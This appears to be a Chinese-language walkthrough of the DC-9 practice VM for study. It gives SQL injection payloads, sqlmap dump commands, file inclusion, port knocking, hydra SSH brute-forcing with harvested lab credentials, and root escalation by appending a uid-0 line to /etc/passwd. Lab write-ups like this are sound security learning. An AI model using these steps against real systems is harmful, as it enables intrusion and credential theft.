dc-9 靶机渗透学习
信息收集
用nmap扫描当前网段
nmap -sP 192.168.202.0/24
对靶机进行端口扫描
nmap -A -p- -v 192.168.202.148
访问靶机的80端口,进行框架识别
无框架的页面,尝试web服务漏洞,用dirsearch进行扫描,没有发现可利用的文件。
漏洞利用
尝试从页面模块处寻找漏洞,发现在search的地方存在SQL注入漏洞。
测试过程
通常我们测试SQL注入漏洞都是输入一个单引号或者双引号,根据返回的报错信息判断是否存在SQL注入。但在这里就行不通了,web服务器屏蔽了报错信息。
这个时候闭合形式没法判断,那么只能盲测一波。同时因为报错信息被屏蔽了,order by也使用不了。只能用union select来判断,首先盲猜为单引号闭合。
-1' union select 1#
-1' union select 1,2#
-1' union select 1,2,3#
-1' union select 1,2,3,4#
-1' union select 1,2,3,4,5#
-1' union select 1,2,3,4,5,6#
因为union要求前后必须列数相同,无法通过order by来判断web服务器查询结果的列数,只能用union select进行盲测。如果出现了数据,就可判断存在SQL注入漏洞。
其实还有一种方法可以验证存在SQL注入漏洞,就是直接输入1' or 1=1#来爆出数据库的所有字段
web服务器构造向mysql数据库查询语句可能是
select * from users(表名) where ID='$search'
那么代入我们的1' or 1=1#就变成了下面的形式
select * from users where ID='1' or 1=1#'
根据mysql的语法,由于#是注释符,后面的'会被注释掉,所以上面的语句就相当于
select * from users where ID='1' or 1=1
我们都知道where在mysql中相当于判断语句,判断'1' or 1=1是否为真。因为是由or连接,所以'1'和1=1中有一个真则为真。1=1肯定是真的,所以上面的语句又等价于
select * from users
所以这个1' or 1=1#可以爆出数据库的所有字段
sqlmap爆数据库
后面的就交给sqlmap来进行了,因为是POST发送数据,所以有两种方法实现POST注入。
第一种
使用sqlmap的--data指定参数为search
sqlmap -u 'http://192.168.202.148/results.php' --data 'search=1' --dbs --batch
接着就是爆库、爆表、爆字段........
sqlmap -u 'http://192.168.202.148/results.php' --data 'search=1' -D Staff --tables --batch
sqlmap -u 'http://192.168.202.148/results.php' --data 'search=1' -D Staff -T Users --columns --batch
sqlmap -u 'http://192.168.202.148/results.php' --data 'search=1' -D Staff -T Users -C Username,Password --dump --batch
可以看到当前数据库中有个admin
拿去MD5解密得到密码
得到
admin
transorbital1
还有一个users数据库里面也存在账号密码,暂时还没用到
sqlmap -u 'http://192.168.202.148/results.php' --data 'search=1' -D users -T UserDetails -C username,password --dump --batch
第二种
使用bp联合sqlmap实现注入,将bp中请求数据包放入1.txt里面
然后使用sqlmap的-r参数调用该文本
sqlmap -r 1.txt --dbs --batch
大致步骤也和上面的一样。
登录账号
在Manage部分用账号密码登录,发现下面黑色部分有File does not exist,猜测可能存在文件包含
测试一波发现确实存在文件包含漏洞,../是返回上一级目录。
为什么dc-5直接包含/etc/passwd就成功了呢?我认为是dc-9对文件包含的范围做了限制,只允许包含当前目录。所以需要../来返回到根目录下,再包含/etc/passwd。
结合刚刚数据库读到的一些用户信息,接下来使用hydra来ssh爆破,说一下如何快速将sqlmap爆出的用户和密码导入文件中。
将白色部分进行复制,粘贴进2.txt里面
使用awk命令将用户名导入admin.txt里面
Linux awk 命令 | 菜鸟教程 (runoob.com)
awk -F "|" '{print $2}' 2.txt
awk -F "|" '{print $2}' 2.txt >admin.txt
将用户名放入admin.txt后,会发现用户名前面有个空格,需要去掉。
vim admin.txt
:%s/ ///g
%是整个缓冲数据,即整个文本
s/查找的字符/替换的字符/
g是全部替换
导入密码也是和上面的一样,完成之后就可以进行hydra爆破,但是你会发现ssh拒绝连接。
具体原因是靶机使用了knockd进行防护
这个knockd.conf是一种端口试探服务器工具。
它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。
telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中,
也可以直接用nc敲击端口。
简单来说就是用来隐藏ssh登陆端口。(也就是我们之前扫描端口时发现22端口阻塞)只有我们按照设定的顺序敲击端口,防火墙才会打开登陆端口。再按照同样的方式可以使防火墙关闭ssh登陆端口,如果别人不知道我们设定的端口敲击顺序,是无法登陆ssh的,我们可以下载knock来开启远程端口。
通过刚刚的文件包含读取/etc/knockd.conf
按照要求的顺序敲击端口
nc 192.168.202.148 7469
nc 192.168.202.148 8475
nc 192.168.202.148 9842
再进行ssh爆破
hydra -L admin.txt -P pass.txt ssh://192.168.202.148
得到三个账号密码
chandlerb UrAG0D!
joeyt Passw0rd
janitor Ilovepeepee
提权
登录ssh
ssh chandlerb@192.168.202.148
进入chandlerb和joeyt用户查看了一下隐藏文件,没有发现什么有用的东西,各种提权也试了一下,结果不行。
ls命令 – 显示指定工作目录下的内容及属性信息 – Linux命令大全(手册) (linuxcool.com)
在janitor用户中发现了.secrets-for-putin有个passwords文件,里面含有密码
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
放到pass.txt里面继续爆破,发现多了一个用户
fredf B4-Tru3-001
登录fredf后,继续进行提权。尝试SUID提权,没发现可以用于提权的命令
find / -perm -4000 -print 2>/dev/null
查看免密可用的root级别命令,发现有个/opt/devstuff/dist/test/test可用使用
sudo -l
进入test所在目录下使用
cd /opt/devstuff/dist/test/
./test
提示我们要使用test.py,那么寻找一下test.py
find / -name test.py -print 2>/dev/null
查看test.py
cat /opt/devstuff/test.py
对代码审计一下
先判断是否有三个参数,没有的话输出提示,然后停止执行
第一个参数为要读取内容
第二个参数将读取的内容写到指定文件
那我们可用构造一个含有root权限数据的文件,通过test.py写入到/etc/passwd文件中,即可成功拿下!
passwd文件每一行的格式如下:
用户名:密码hash:uid:gid:说明:家目录:登陆后使用的shell
我们造一个符合该格式的用户,一般/tmp目录可写,写到/tmp目录下
openssl passwd -1 -salt hack 123456
这里有个注意的地方,写入的时候必须是单引号,也就是echo '......',不能是echo ".....",双引号会导致最后失败。
echo 'hack:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0:root:/bin/bash' >>/tmp/hack
最后运行脚本,切换用户得到root权限。
echo 'hack:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0:root:/bin/bash' >>/tmp/hack
sudo ./test /tmp/hack /etc/passwd
su hack
后面补充点自己看的知识
shadow文件
shadow文件中第二列的格式,它是加密后的密码,它有些玄机,不同的特殊字符表示特殊的意义
1. 该列留空,即"::",表示该用户没有密码。
2. 该列为"!",即":!:",表示该用户被锁,被锁将无法登陆,
但是可能其他的登录方式是不受限制的,如ssh公钥认证的方式,su的方式。
3. 该列为"",即"::",也表示该用户被锁,和"!“效果是一样的。
4. 该列以”!“或”!!“开头,则也表示该用户被锁。
5. 该列为”!!",即":!!:",表示该用户从来没设置过密码。
6. 如果格式为"$id$salt$hashed",则表示该用户密码正常。其中$id$的id表示密码的加密算法,
$1$表示使用MD5算法,$2a$表示使用Blowfish算法,
"$2y$“是另一算法长度的Blowfish,”$5$“表示SHA-256算法,而”$6$"表示SHA-512算法,
目前基本上都使用sha-512算法的,但无论是md5还是sha-256都仍然支持。
$salt$是加密时使用的salt,hashed才是真正的密码部分。
参考文章
Sqlmap全参数详解_breezeO_o的博客-CSDN博客_ospf协议配置
ls命令 – 显示指定工作目录下的内容及属性信息 – Linux命令大全(手册) (linuxcool.com)